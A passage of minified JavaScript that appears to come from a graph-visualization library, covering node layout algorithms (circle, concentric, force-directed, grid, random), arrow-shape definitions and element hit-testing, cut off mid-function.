bs={fit:true,padding:30,boundingBox:undefined,avoidOverlap:true,nodeDimensionsIncludeLabels:false,spacingFactor:undefined,radius:undefined,startAngle:3/2*Math.PI,sweep:undefined,clockwise:true,sort:undefined,animate:false,animationDuration:500,animationEasing:undefined,animateFilter:function e(t,r){return true},ready:undefined,stop:undefined,transform:function e(t,r){return r}};function xs(e){this.options=ie({},bs,e)}xs.prototype.run=function(){var e=this.options;var t=e;var r=e.cy;var n=t.eles;var a=t.counterclockwise!==undefined?!t.counterclockwise:t.clockwise;var i=n.nodes().not(":parent");if(t.sort){i=i.sort(t.sort)}var o=Vt(t.boundingBox?t.boundingBox:{x1:0,y1:0,w:r.width(),h:r.height()});var s={x:o.x1+o.w/2,y:o.y1+o.h/2};var u=t.sweep===undefined?2*Math.PI-2*Math.PI/i.length:t.sweep;var l=u/Math.max(1,i.length-1);var f;var c=0;for(var v=0;v<i.length;v++){var d=i[v];var h=d.layoutDimensions(t);var p=h.w;var g=h.h;c=Math.max(c,p,g)}if(I(t.radius)){f=t.radius}else if(i.length<=1){f=0}else{f=Math.min(o.h,o.w)/2-c}if(i.length>1&&t.avoidOverlap){c*=1.75;var y=Math.cos(l)-Math.cos(0);var m=Math.sin(l)-Math.sin(0);var b=Math.sqrt(c*c/(y*y+m*m));f=Math.max(b,f)}var x=function e(r,n){var i=t.startAngle+n*l*(a?1:-1);var o=f*Math.cos(i);var u=f*Math.sin(i);var c={x:s.x+o,y:s.y+u};return c};n.nodes().layoutPositions(this,t,x);return this};var ws={fit:true,padding:30,startAngle:3/2*Math.PI,sweep:undefined,clockwise:true,equidistant:false,minNodeSpacing:10,boundingBox:undefined,avoidOverlap:true,nodeDimensionsIncludeLabels:false,height:undefined,width:undefined,spacingFactor:undefined,concentric:function e(t){return t.degree()},levelWidth:function e(t){return t.maxDegree()/4},animate:false,animationDuration:500,animationEasing:undefined,animateFilter:function e(t,r){return true},ready:undefined,stop:undefined,transform:function e(t,r){return r}};function Es(e){this.options=ie({},ws,e)}Es.prototype.run=function(){var e=this.options;var t=e;var r=t.counterclockwise!==undefined?!t.counterclockwise:t.clockwise;var n=e.cy;var a=t.eles;var i=a.nodes().not(":parent");var o=Vt(t.boundingBox?t.boundingBox:{x1:0,y1:0,w:n.width(),h:n.height()});var s={x:o.x1+o.w/2,y:o.y1+o.h/2};var u=[];var l=0;for(var f=0;f<i.length;f++){var c=i[f];var v=void 0;v=t.concentric(c);u.push({value:v,node:c});c._private.scratch.concentric=v}i.updateStyle();for(var d=0;d<i.length;d++){var h=i[d];var p=h.layoutDimensions(t);l=Math.max(l,p.w,p.h)}u.sort((function(e,t){return t.value-e.value}));var g=t.levelWidth(i);var y=[[]];var m=y[0];for(var b=0;b<u.length;b++){var x=u[b];if(m.length>0){var w=Math.abs(m[0].value-x.value);if(w>=g){m=[];y.push(m)}}m.push(x)}var E=l+t.minNodeSpacing;if(!t.avoidOverlap){var _=y.length>0&&y[0].length>1;var k=Math.min(o.w,o.h)/2-E;var S=k/(y.length+_?1:0);E=Math.min(E,S)}var C=0;for(var D=0;D<y.length;D++){var T=y[D];var P=t.sweep===undefined?2*Math.PI-2*Math.PI/T.length:t.sweep;var M=T.dTheta=P/Math.max(1,T.length-1);if(T.length>1&&t.avoidOverlap){var I=Math.cos(M)-Math.cos(0);var O=Math.sin(M)-Math.sin(0);var N=Math.sqrt(E*E/(I*I+O*O));C=Math.max(N,C)}T.r=C;C+=E}if(t.equidistant){var z=0;var A=0;for(var L=0;L<y.length;L++){var B=y[L];var j=B.r-A;z=Math.max(z,j)}A=0;for(var R=0;R<y.length;R++){var F=y[R];if(R===0){A=F.r}F.r=A;A+=z}}var V={};for(var q=0;q<y.length;q++){var G=y[q];var Y=G.dTheta;var X=G.r;for(var W=0;W<G.length;W++){var H=G[W];var U=t.startAngle+(r?1:-1)*Y*W;var K={x:s.x+X*Math.cos(U),y:s.y+X*Math.sin(U)};V[H.node.id()]=K}}a.nodes().layoutPositions(this,t,(function(e){var t=e.id();return V[t]}));return this};var _s;var ks={ready:function e(){},stop:function e(){},animate:true,animationEasing:undefined,animationDuration:undefined,animateFilter:function e(t,r){return true},animationThreshold:250,refresh:20,fit:true,padding:30,boundingBox:undefined,nodeDimensionsIncludeLabels:false,randomize:false,componentSpacing:40,nodeRepulsion:function e(t){return 2048},nodeOverlap:4,idealEdgeLength:function e(t){return 32},edgeElasticity:function e(t){return 32},nestingFactor:1.2,gravity:1,numIter:1e3,initialTemp:1e3,coolingFactor:.99,minTemp:1};function Ss(e){this.options=ie({},ks,e);this.options.layout=this}Ss.prototype.run=function(){var e=this.options;var t=e.cy;var r=this;r.stopped=false;if(e.animate===true||e.animate===false){r.emit({type:"layoutstart",layout:r})}if(true===e.debug){_s=true}else{_s=false}var n=Cs(t,r,e);if(_s){Ps(n)}if(e.randomize){Ms(n)}var a=me();var i=function r(){Os(n,t,e);if(true===e.fit){t.fit(e.padding)}};var o=function t(a){if(r.stopped||a>=e.numIter){return false}Ns(n,e);n.temperature=n.temperature*e.coolingFactor;if(n.temperature<e.minTemp){return false}return true};var s=function t(){if(e.animate===true||e.animate===false){i();r.one("layoutstop",e.stop);r.emit({type:"layoutstop",layout:r})}else{var a=e.eles.nodes();var o=Is(n,e,a);a.layoutPositions(r,e,o)}};var u=0;var l=true;if(e.animate===true){var f=function t(){var r=0;while(l&&r<e.refresh){l=o(u);u++;r++}if(!l){Xs(n,e);s()}else{var f=me();if(f-a>=e.animationThreshold){i()}ye(t)}};f()}else{while(l){l=o(u);u++}Xs(n,e);s()}return this};Ss.prototype.stop=function(){this.stopped=true;if(this.thread){this.thread.stop()}this.emit("layoutstop");return this};Ss.prototype.destroy=function(){if(this.thread){this.thread.stop()}return this};var Cs=function e(t,r,n){var a=n.eles.edges();var i=n.eles.nodes();var o={isCompound:t.hasCompoundNodes(),layoutNodes:[],idToIndex:{},nodeSize:i.size(),graphSet:[],indexToGraph:[],layoutEdges:[],edgeSize:a.size(),temperature:n.initialTemp,clientWidth:t.width(),clientHeight:t.width(),boundingBox:Vt(n.boundingBox?n.boundingBox:{x1:0,y1:0,w:t.width(),h:t.height()})};var s=n.eles.components();var u={};for(var l=0;l<s.length;l++){var f=s[l];for(var c=0;c<f.length;c++){var v=f[c];u[v.id()]=l}}for(var l=0;l<o.nodeSize;l++){var d=i[l];var h=d.layoutDimensions(n);var p={};p.isLocked=d.locked();p.id=d.data("id");p.parentId=d.data("parent");p.cmptId=u[d.id()];p.children=[];p.positionX=d.position("x");p.positionY=d.position("y");p.offsetX=0;p.offsetY=0;p.height=h.w;p.width=h.h;p.maxX=p.positionX+p.width/2;p.minX=p.positionX-p.width/2;p.maxY=p.positionY+p.height/2;p.minY=p.positionY-p.height/2;p.padLeft=parseFloat(d.style("padding"));p.padRight=parseFloat(d.style("padding"));p.padTop=parseFloat(d.style("padding"));p.padBottom=parseFloat(d.style("padding"));p.nodeRepulsion=D(n.nodeRepulsion)?n.nodeRepulsion(d):n.nodeRepulsion;o.layoutNodes.push(p);o.idToIndex[p.id]=l}var g=[];var y=0;var m=-1;var b=[];for(var l=0;l<o.nodeSize;l++){var d=o.layoutNodes[l];var x=d.parentId;if(null!=x){o.layoutNodes[o.idToIndex[x]].children.push(d.id)}else{g[++m]=d.id;b.push(d.id)}}o.graphSet.push(b);while(y<=m){var w=g[y++];var E=o.idToIndex[w];var v=o.layoutNodes[E];var _=v.children;if(_.length>0){o.graphSet.push(_);for(var l=0;l<_.length;l++){g[++m]=_[l]}}}for(var l=0;l<o.graphSet.length;l++){var k=o.graphSet[l];for(var c=0;c<k.length;c++){var S=o.idToIndex[k[c]];o.indexToGraph[S]=l}}for(var l=0;l<o.edgeSize;l++){var C=a[l];var T={};T.id=C.data("id");T.sourceId=C.data("source");T.targetId=C.data("target");var P=D(n.idealEdgeLength)?n.idealEdgeLength(C):n.idealEdgeLength;var M=D(n.edgeElasticity)?n.edgeElasticity(C):n.edgeElasticity;var I=o.idToIndex[T.sourceId];var O=o.idToIndex[T.targetId];var N=o.indexToGraph[I];var z=o.indexToGraph[O];if(N!=z){var A=Ds(T.sourceId,T.targetId,o);var L=o.graphSet[A];var B=0;var p=o.layoutNodes[I];while(-1===L.indexOf(p.id)){p=o.layoutNodes[o.idToIndex[p.parentId]];B++}p=o.layoutNodes[O];while(-1===L.indexOf(p.id)){p=o.layoutNodes[o.idToIndex[p.parentId]];B++}P*=B*n.nestingFactor}T.idealLength=P;T.elasticity=M;o.layoutEdges.push(T)}return o};var Ds=function e(t,r,n){var a=Ts(t,r,0,n);if(2>a.count){return 0}else{return a.graph}};var Ts=function e(t,r,n,a){var i=a.graphSet[n];if(-1<i.indexOf(t)&&-1<i.indexOf(r)){return{count:2,graph:n}}var o=0;for(var s=0;s<i.length;s++){var u=i[s];var l=a.idToIndex[u];var f=a.layoutNodes[l].children;if(0===f.length){continue}var c=a.indexToGraph[a.idToIndex[f[0]]];var v=e(t,r,c,a);if(0===v.count){continue}else if(1===v.count){o++;if(2===o){break}}else{return v}}return{count:o,graph:n}};if(false){var Ps}var Ms=function e(t,r){var n=t.clientWidth;var a=t.clientHeight;for(var i=0;i<t.nodeSize;i++){var o=t.layoutNodes[i];if(0===o.children.length&&!o.isLocked){o.positionX=Math.random()*n;o.positionY=Math.random()*a}}};var Is=function e(t,r,n){var a=t.boundingBox;var i={x1:Infinity,x2:-Infinity,y1:Infinity,y2:-Infinity};if(r.boundingBox){n.forEach((function(e){var r=t.layoutNodes[t.idToIndex[e.data("id")]];i.x1=Math.min(i.x1,r.positionX);i.x2=Math.max(i.x2,r.positionX);i.y1=Math.min(i.y1,r.positionY);i.y2=Math.max(i.y2,r.positionY)}));i.w=i.x2-i.x1;i.h=i.y2-i.y1}return function(e,n){var o=t.layoutNodes[t.idToIndex[e.data("id")]];if(r.boundingBox){var s=(o.positionX-i.x1)/i.w;var u=(o.positionY-i.y1)/i.h;return{x:a.x1+s*a.w,y:a.y1+u*a.h}}else{return{x:o.positionX,y:o.positionY}}}};var Os=function e(t,r,n){var a=n.layout;var i=n.eles.nodes();var o=Is(t,n,i);i.positions(o);if(true!==t.ready){t.ready=true;a.one("layoutready",n.ready);a.emit({type:"layoutready",layout:this})}};var Ns=function e(t,r,n){zs(t,r);Rs(t);Fs(t,r);Vs(t);qs(t)};var zs=function e(t,r){for(var n=0;n<t.graphSet.length;n++){var a=t.graphSet[n];var i=a.length;for(var o=0;o<i;o++){var s=t.layoutNodes[t.idToIndex[a[o]]];for(var u=o+1;u<i;u++){var l=t.layoutNodes[t.idToIndex[a[u]]];Ls(s,l,t,r)}}}};var As=function e(t){return-t+2*t*Math.random()};var Ls=function e(t,r,n,a){var i=t.cmptId;var o=r.cmptId;if(i!==o&&!n.isCompound){return}var s=r.positionX-t.positionX;var u=r.positionY-t.positionY;var l=1;if(0===s&&0===u){s=As(l);u=As(l)}var f=Bs(t,r,s,u);if(f>0){var c=a.nodeOverlap*f;var v=Math.sqrt(s*s+u*u);var d=c*s/v;var h=c*u/v}else{var p=js(t,s,u);var g=js(r,-1*s,-1*u);var y=g.x-p.x;var m=g.y-p.y;var b=y*y+m*m;var v=Math.sqrt(b);var c=(t.nodeRepulsion+r.nodeRepulsion)/b;var d=c*y/v;var h=c*m/v}if(!t.isLocked){t.offsetX-=d;t.offsetY-=h}if(!r.isLocked){r.offsetX+=d;r.offsetY+=h}return};var Bs=function e(t,r,n,a){if(n>0){var i=t.maxX-r.minX}else{var i=r.maxX-t.minX}if(a>0){var o=t.maxY-r.minY}else{var o=r.maxY-t.minY}if(i>=0&&o>=0){return Math.sqrt(i*i+o*o)}else{return 0}};var js=function e(t,r,n){var a=t.positionX;var i=t.positionY;var o=t.height||1;var s=t.width||1;var u=n/r;var l=o/s;var f={};if(0===r&&0<n){f.x=a;f.y=i+o/2;return f}if(0===r&&0>n){f.x=a;f.y=i+o/2;return f}if(0<r&&-1*l<=u&&u<=l){f.x=a+s/2;f.y=i+s*n/2/r;return f}if(0>r&&-1*l<=u&&u<=l){f.x=a-s/2;f.y=i-s*n/2/r;return f}if(0<n&&(u<=-1*l||u>=l)){f.x=a+o*r/2/n;f.y=i+o/2;return f}if(0>n&&(u<=-1*l||u>=l)){f.x=a-o*r/2/n;f.y=i-o/2;return f}return f};var Rs=function e(t,r){for(var n=0;n<t.edgeSize;n++){var a=t.layoutEdges[n];var i=t.idToIndex[a.sourceId];var o=t.layoutNodes[i];var s=t.idToIndex[a.targetId];var u=t.layoutNodes[s];var l=u.positionX-o.positionX;var f=u.positionY-o.positionY;if(0===l&&0===f){continue}var c=js(o,l,f);var v=js(u,-1*l,-1*f);var d=v.x-c.x;var h=v.y-c.y;var p=Math.sqrt(d*d+h*h);var g=Math.pow(a.idealLength-p,2)/a.elasticity;if(0!==p){var y=g*d/p;var m=g*h/p}else{var y=0;var m=0}if(!o.isLocked){o.offsetX+=y;o.offsetY+=m}if(!u.isLocked){u.offsetX-=y;u.offsetY-=m}}};var Fs=function e(t,r){if(r.gravity===0){return}var n=1;for(var a=0;a<t.graphSet.length;a++){var i=t.graphSet[a];var o=i.length;if(0===a){var s=t.clientHeight/2;var u=t.clientWidth/2}else{var l=t.layoutNodes[t.idToIndex[i[0]]];var f=t.layoutNodes[t.idToIndex[l.parentId]];var s=f.positionX;var u=f.positionY}for(var c=0;c<o;c++){var v=t.layoutNodes[t.idToIndex[i[c]]];if(v.isLocked){continue}var d=s-v.positionX;var h=u-v.positionY;var p=Math.sqrt(d*d+h*h);if(p>n){var g=r.gravity*d/p;var y=r.gravity*h/p;v.offsetX+=g;v.offsetY+=y}}}};var Vs=function e(t,r){var n=[];var a=0;var i=-1;n.push.apply(n,t.graphSet[0]);i+=t.graphSet[0].length;while(a<=i){var o=n[a++];var s=t.idToIndex[o];var u=t.layoutNodes[s];var l=u.children;if(0<l.length&&!u.isLocked){var f=u.offsetX;var c=u.offsetY;for(var v=0;v<l.length;v++){var d=t.layoutNodes[t.idToIndex[l[v]]];d.offsetX+=f;d.offsetY+=c;n[++i]=l[v]}u.offsetX=0;u.offsetY=0}}};var qs=function e(t,r){for(var n=0;n<t.nodeSize;n++){var a=t.layoutNodes[n];if(0<a.children.length){a.maxX=undefined;a.minX=undefined;a.maxY=undefined;a.minY=undefined}}for(var n=0;n<t.nodeSize;n++){var a=t.layoutNodes[n];if(0<a.children.length||a.isLocked){continue}var i=Gs(a.offsetX,a.offsetY,t.temperature);a.positionX+=i.x;a.positionY+=i.y;a.offsetX=0;a.offsetY=0;a.minX=a.positionX-a.width;a.maxX=a.positionX+a.width;a.minY=a.positionY-a.height;a.maxY=a.positionY+a.height;Ys(a,t)}for(var n=0;n<t.nodeSize;n++){var a=t.layoutNodes[n];if(0<a.children.length&&!a.isLocked){a.positionX=(a.maxX+a.minX)/2;a.positionY=(a.maxY+a.minY)/2;a.width=a.maxX-a.minX;a.height=a.maxY-a.minY}}};var Gs=function e(t,r,n){var a=Math.sqrt(t*t+r*r);if(a>n){var i={x:n*t/a,y:n*r/a}}else{var i={x:t,y:r}}return i};var Ys=function e(t,r){var n=t.parentId;if(null==n){return}var a=r.layoutNodes[r.idToIndex[n]];var i=false;if(null==a.maxX||t.maxX+a.padRight>a.maxX){a.maxX=t.maxX+a.padRight;i=true}if(null==a.minX||t.minX-a.padLeft<a.minX){a.minX=t.minX-a.padLeft;i=true}if(null==a.maxY||t.maxY+a.padBottom>a.maxY){a.maxY=t.maxY+a.padBottom;i=true}if(null==a.minY||t.minY-a.padTop<a.minY){a.minY=t.minY-a.padTop;i=true}if(i){return e(a,r)}return};var Xs=function e(t,r){var n=t.layoutNodes;var a=[];for(var i=0;i<n.length;i++){var o=n[i];var s=o.cmptId;var u=a[s]=a[s]||[];u.push(o)}var l=0;for(var i=0;i<a.length;i++){var f=a[i];if(!f){continue}f.x1=Infinity;f.x2=-Infinity;f.y1=Infinity;f.y2=-Infinity;for(var c=0;c<f.length;c++){var v=f[c];f.x1=Math.min(f.x1,v.positionX-v.width/2);f.x2=Math.max(f.x2,v.positionX+v.width/2);f.y1=Math.min(f.y1,v.positionY-v.height/2);f.y2=Math.max(f.y2,v.positionY+v.height/2)}f.w=f.x2-f.x1;f.h=f.y2-f.y1;l+=f.w*f.h}a.sort((function(e,t){return t.w*t.h-e.w*e.h}));var d=0;var h=0;var p=0;var g=0;var y=Math.sqrt(l)*t.clientWidth/t.clientHeight;for(var i=0;i<a.length;i++){var f=a[i];if(!f){continue}for(var c=0;c<f.length;c++){var v=f[c];if(!v.isLocked){v.positionX+=d-f.x1;v.positionY+=h-f.y1}}d+=f.w+r.componentSpacing;p+=f.w+r.componentSpacing;g=Math.max(g,f.h);if(p>y){h+=g+r.componentSpacing;d=0;p=0;g=0}}};var Ws={fit:true,padding:30,boundingBox:undefined,avoidOverlap:true,avoidOverlapPadding:10,nodeDimensionsIncludeLabels:false,spacingFactor:undefined,condense:false,rows:undefined,cols:undefined,position:function e(t){},sort:undefined,animate:false,animationDuration:500,animationEasing:undefined,animateFilter:function e(t,r){return true},ready:undefined,stop:undefined,transform:function e(t,r){return r}};function Hs(e){this.options=ie({},Ws,e)}Hs.prototype.run=function(){var e=this.options;var t=e;var r=e.cy;var n=t.eles;var a=n.nodes().not(":parent");if(t.sort){a=a.sort(t.sort)}var i=Vt(t.boundingBox?t.boundingBox:{x1:0,y1:0,w:r.width(),h:r.height()});if(i.h===0||i.w===0){n.nodes().layoutPositions(this,t,(function(e){return{x:i.x1,y:i.y1}}))}else{var o=a.size();var s=Math.sqrt(o*i.h/i.w);var u=Math.round(s);var l=Math.round(i.w/i.h*s);var f=function e(t){if(t==null){return Math.min(u,l)}else{var r=Math.min(u,l);if(r==u){u=t}else{l=t}}};var c=function e(t){if(t==null){return Math.max(u,l)}else{var r=Math.max(u,l);if(r==u){u=t}else{l=t}}};var v=t.rows;var d=t.cols!=null?t.cols:t.columns;if(v!=null&&d!=null){u=v;l=d}else if(v!=null&&d==null){u=v;l=Math.ceil(o/u)}else if(v==null&&d!=null){l=d;u=Math.ceil(o/l)}else if(l*u>o){var h=f();var p=c();if((h-1)*p>=o){f(h-1)}else if((p-1)*h>=o){c(p-1)}}else{while(l*u<o){var g=f();var y=c();if((y+1)*g>=o){c(y+1)}else{f(g+1)}}}var m=i.w/l;var b=i.h/u;if(t.condense){m=0;b=0}if(t.avoidOverlap){for(var x=0;x<a.length;x++){var w=a[x];var E=w._private.position;if(E.x==null||E.y==null){E.x=0;E.y=0}var _=w.layoutDimensions(t);var k=t.avoidOverlapPadding;var S=_.w+k;var C=_.h+k;m=Math.max(m,S);b=Math.max(b,C)}}var D={};var T=function e(t,r){return D["c-"+t+"-"+r]?true:false};var P=function e(t,r){D["c-"+t+"-"+r]=true};var M=0;var I=0;var O=function e(){I++;if(I>=l){I=0;M++}};var N={};for(var z=0;z<a.length;z++){var A=a[z];var L=t.position(A);if(L&&(L.row!==undefined||L.col!==undefined)){var B={row:L.row,col:L.col};if(B.col===undefined){B.col=0;while(T(B.row,B.col)){B.col++}}else if(B.row===undefined){B.row=0;while(T(B.row,B.col)){B.row++}}N[A.id()]=B;P(B.row,B.col)}}var j=function e(t,r){var n,a;if(t.locked()||t.isParent()){return false}var o=N[t.id()];if(o){n=o.col*m+m/2+i.x1;a=o.row*b+b/2+i.y1}else{while(T(M,I)){O()}n=I*m+m/2+i.x1;a=M*b+b/2+i.y1;P(M,I);O()}return{x:n,y:a}};a.layoutPositions(this,t,j)}return this};var Us={ready:function e(){},stop:function e(){}};function Ks(e){this.options=ie({},Us,e)}Ks.prototype.run=function(){var e=this.options;var t=e.eles;var r=this;var n=e.cy;r.emit("layoutstart");t.nodes().positions((function(){return{x:0,y:0}}));r.one("layoutready",e.ready);r.emit("layoutready");r.one("layoutstop",e.stop);r.emit("layoutstop");return this};Ks.prototype.stop=function(){return this};var $s={positions:undefined,zoom:undefined,pan:undefined,fit:true,padding:30,animate:false,animationDuration:500,animationEasing:undefined,animateFilter:function e(t,r){return true},ready:undefined,stop:undefined,transform:function e(t,r){return r}};function Zs(e){this.options=ie({},$s,e)}Zs.prototype.run=function(){var e=this.options;var t=e.eles;var r=t.nodes();var n=D(e.positions);function a(t){if(e.positions==null){return Et(t.position())}if(n){return e.positions(t)}var r=e.positions[t._private.data.id];if(r==null){return null}return r}r.layoutPositions(this,e,(function(e,t){var r=a(e);if(e.locked()||r==null){return false}return r}));return this};var Qs={fit:true,padding:30,boundingBox:undefined,animate:false,animationDuration:500,animationEasing:undefined,animateFilter:function e(t,r){return true},ready:undefined,stop:undefined,transform:function e(t,r){return r}};function Js(e){this.options=ie({},Qs,e)}Js.prototype.run=function(){var e=this.options;var t=e.cy;var r=e.eles;var n=Vt(e.boundingBox?e.boundingBox:{x1:0,y1:0,w:t.width(),h:t.height()});var a=function e(t,r){return{x:n.x1+Math.round(Math.random()*n.w),y:n.y1+Math.round(Math.random()*n.h)}};r.nodes().layoutPositions(this,e,a);return this};var eu=[{name:"breadthfirst",impl:ms},{name:"circle",impl:xs},{name:"concentric",impl:Es},{name:"cose",impl:Ss},{name:"grid",impl:Hs},{name:"null",impl:Ks},{name:"preset",impl:Zs},{name:"random",impl:Js}];function tu(e){this.options=e;this.notifications=0}var ru=function e(){};var nu=function e(){throw new Error("A headless instance can not render images")};tu.prototype={recalculateRenderedStyle:ru,notify:function e(){this.notifications++},init:ru,isHeadless:function e(){return true},png:nu,jpg:nu};var au={};au.arrowShapeWidth=.3;au.registerArrowShapes=function(){var e=this.arrowShapes={};var t=this;var r=function e(t,r,n,a,i,o,s){var u=i.x-n/2-s;var l=i.x+n/2+s;var f=i.y-n/2-s;var c=i.y+n/2+s;var v=u<=t&&t<=l&&f<=r&&r<=c;return v};var n=function e(t,r,n,a,i){var o=t*Math.cos(a)-r*Math.sin(a);var s=t*Math.sin(a)+r*Math.cos(a);var u=o*n;var l=s*n;var f=u+i.x;var c=l+i.y;return{x:f,y:c}};var a=function e(t,r,a,i){var o=[];for(var s=0;s<t.length;s+=2){var u=t[s];var l=t[s+1];o.push(n(u,l,r,a,i))}return o};var i=function e(t){var r=[];for(var n=0;n<t.length;n++){var a=t[n];r.push(a.x,a.y)}return r};var o=function e(t){return t.pstyle("width").pfValue*t.pstyle("arrow-scale").pfValue*2};var s=function n(s,u){if(C(u)){u=e[u]}e[s]=ie({name:s,points:[-.15,-.3,.15,-.3,.15,.3,-.15,.3],collide:function e(t,r,n,o,s,u){var l=i(a(this.points,n+2*u,o,s));var f=or(t,r,l);return f},roughCollide:r,draw:function e(r,n,i,o){var s=a(this.points,n,i,o);t.arrowShapeImpl("polygon")(r,s)},spacing:function e(t){return 0},gap:o},u)};s("none",{collide:Be,roughCollide:Be,draw:Re,spacing:je,gap:je});s("triangle",{points:[-.15,-.3,0,0,.15,-.3]});s("arrow","triangle");s("triangle-backcurve",{points:e["triangle"].points,controlPoint:[0,-.15],roughCollide:r,draw:function e(r,i,o,s,u){var l=a(this.points,i,o,s);var f=this.controlPoint;var c=n(f[0],f[1],i,o,s);t.arrowShapeImpl(this.name)(r,l,c)},gap:function e(t){return o(t)*.8}});s("triangle-tee",{points:[0,0,.15,-.3,-.15,-.3,0,0],pointsTee:[-.15,-.4,-.15,-.5,.15,-.5,.15,-.4],collide:function e(t,r,n,o,s,u,l){var f=i(a(this.points,n+2*l,o,s));var c=i(a(this.pointsTee,n+2*l,o,s));var v=or(t,r,f)||or(t,r,c);return v},draw:function e(r,n,i,o,s){var u=a(this.points,n,i,o);var l=a(this.pointsTee,n,i,o);t.arrowShapeImpl(this.name)(r,u,l)}});s("circle-triangle",{radius:.15,pointsTr:[0,-.15,.15,-.45,-.15,-.45,0,-.15],collide:function e(t,r,n,o,s,u,l){var f=s;var c=Math.pow(f.x-t,2)+Math.pow(f.y-r,2)<=Math.pow((n+2*l)*this.radius,2);var v=i(a(this.points,n+2*l,o,s));return or(t,r,v)||c},draw:function e(r,n,i,o,s){var u=a(this.pointsTr,n,i,o);t.arrowShapeImpl(this.name)(r,u,o.x,o.y,this.radius*n)},spacing:function e(r){return t.getArrowWidth(r.pstyle("width").pfValue,r.pstyle("arrow-scale").value)*this.radius}});s("triangle-cross",{points:[0,0,.15,-.3,-.15,-.3,0,0],baseCrossLinePts:[-.15,-.4,-.15,-.4,.15,-.4,.15,-.4],crossLinePts:function e(t,r){var n=this.baseCrossLinePts.slice();var a=r/t;var i=3;var o=5;n[i]=n[i]-a;n[o]=n[o]-a;return n},collide:function e(t,r,n,o,s,u,l){var f=i(a(this.points,n+2*l,o,s));var c=i(a(this.crossLinePts(n,u),n+2*l,o,s));var v=or(t,r,f)||or(t,r,c);return v},draw:function e(r,n,i,o,s){var u=a(this.points,n,i,o);var l=a(this.crossLinePts(n,s),n,i,o);t.arrowShapeImpl(this.name)(r,u,l)}});s("vee",{points:[-.15,-.3,0,0,.15,-.3,0,-.15],gap:function e(t){return o(t)*.525}});s("circle",{radius:.15,collide:function e(t,r,n,a,i,o,s){var u=i;var l=Math.pow(u.x-t,2)+Math.pow(u.y-r,2)<=Math.pow((n+2*s)*this.radius,2);return l},draw:function e(r,n,a,i,o){t.arrowShapeImpl(this.name)(r,i.x,i.y,this.radius*n)},spacing:function e(r){return t.getArrowWidth(r.pstyle("width").pfValue,r.pstyle("arrow-scale").value)*this.radius}});s("tee",{points:[-.15,0,-.15,-.1,.15,-.1,.15,0],spacing:function e(t){return 1},gap:function e(t){return 1}});s("square",{points:[-.15,0,.15,0,.15,-.3,-.15,-.3]});s("diamond",{points:[-.15,-.15,0,-.3,.15,-.15,0,0],gap:function e(t){return t.pstyle("width").pfValue*t.pstyle("arrow-scale").value}});s("chevron",{points:[0,0,-.15,-.15,-.1,-.2,0,-.1,.1,-.2,.15,-.15],gap:function e(t){return.95*t.pstyle("width").pfValue*t.pstyle("arrow-scale").value}})};var iu={};iu.projectIntoViewport=function(e,t){var r=this.cy;var n=this.findContainerClientCoords();var a=n[0];var i=n[1];var o=n[4];var s=r.pan();var u=r.zoom();var l=((e-a)/o-s.x)/u;var f=((t-i)/o-s.y)/u;return[l,f]};iu.findContainerClientCoords=function(){if(this.containerBB){return this.containerBB}var e=this.container;var t=e.getBoundingClientRect();var r=m.getComputedStyle(e);var n=function e(t){return parseFloat(r.getPropertyValue(t))};var a={left:n("padding-left"),right:n("padding-right"),top:n("padding-top"),bottom:n("padding-bottom")};var i={left:n("border-left-width"),right:n("border-right-width"),top:n("border-top-width"),bottom:n("border-bottom-width")};var o=e.clientWidth;var s=e.clientHeight;var u=a.left+a.right;var l=a.top+a.bottom;var f=i.left+i.right;var c=t.width/(o+f);var v=o-u;var d=s-l;var h=t.left+a.left+i.left;var p=t.top+a.top+i.top;return this.containerBB=[h,p,v,d,c]};iu.invalidateContainerClientCoordsCache=function(){this.containerBB=null};iu.findNearestElement=function(e,t,r,n){return this.findNearestElements(e,t,r,n)[0]};iu.findNearestElements=function(e,t,r,n){var a=this;var i=this;var o=i.getCachedZSortedEles();var s=[];var u=i.cy.zoom();var l=i.cy.hasCompoundNodes();var f=(n?24:8)/u;var c=(n?8:2)/u;var v=(n?8:2)/u;var d=Infinity;var h;var p;if(r){o=o.interactive}function g(e,t){if(e.isNode()){if(p){return}else{p=e;s.push(e)}}if(e.isEdge()&&(t==null||t<d)){if(h){if(h.pstyle("z-compound-depth").value===e.pstyle("z-compound-depth").value&&h.pstyle("z-compound-depth").value===e.pstyle("z-compound-depth").value){for(var r=0;r<s.length;r++){if(s[r].isEdge()){s[r]=e;h=e;d=t!=null?t:d;break}}}}else{s.push(e);h=e;d=t!=null?t:d}}}function y(r){var n=r.outerWidth()+2*c;var o=r.outerHeight()+2*c;var s=n/2;var u=o/2;var l=r.position();if(l.x-s<=e&&e<=l.x+s&&l.y-u<=t&&t<=l.y+u){var f=i.nodeShapes[a.getNodeShape(r)];if(f.checkPoint(e,t,0,n,o,l.x,l.y)){g(r,0);return true}}}function m(r){var n=r._private;var o=n.rscratch;var u=r.pstyle("width").pfValue;var c=r.pstyle("arrow-scale").value;var v=u/2+f;var d=v*v;var h=v*2;var p=n.source;var m=n.target;var b;if(o.edgeType==="segments"||o.edgeType==="straight"||o.edgeType==="haystack"){var x=o.allpts;for(var w=0;w+3<x.length;w+=2){if(er(e,t,x[w],x[w+1],x[w+2],x[w+3],h)&&d>(b=ir(e,t,x[w],x[w+1],x[w+2],x[w+3]))){g(r,b);return true}}}else if(o.edgeType==="bezier"||o.edgeType==="multibezier"||o.edgeType==="self"||o.edgeType==="compound"){var x=o.allpts;for(var w=0;w+5<o.allpts.length;w+=4){if(tr(e,t,x[w],x[w+1],x[w+2],x[w+3],x[w+4],x[w+5],h)&&d>(b=ar(e,t,x[w],x[w+1],x[w+2],x[w+3],x[w+4],x[w+5]))){g(r,b);return true}}}var p=p||n.source;var m=m||n.target;var E=a.getArrowWidth(u,c);var _=[{name:"source",x:o.arrowStartX,y:o.arrowStartY,angle:o.srcArrowAngle},{name:"target",x:o.arrowEndX,y:o.arrowEndY,angle:o.tgtArrowAngle},{name:"mid-source",x:o.midX,y:o.midY,angle:o.midsrcArrowAngle},{name:"mid-target",x:o.midX,y:o.midY,angle:o.midtgtArrowAngle}];for(var w=0;w<_.length;w++){var k=_[w];var S=i.arrowShapes[r.pstyle(k.name+"-arrow-shape").value];var C=r.pstyle("width").pfValue;if(S.roughCollide(e,t,E,k.angle,{x:k.x,y:k.y},C,f)&&S.collide(e,t,E,k.angle,{x:k.x,y:k.y},C,f)){g(r);return true}}if(l&&s.length>0){y(p);y(m)}}function b(e,t,r){return Je(e,t,r)}function x(r,n){var a=r._private;var i=v;var o;if(n){o=n+"-"}else{o=""}r.boundingBox();var s=a.labelBounds[n||"main"];var 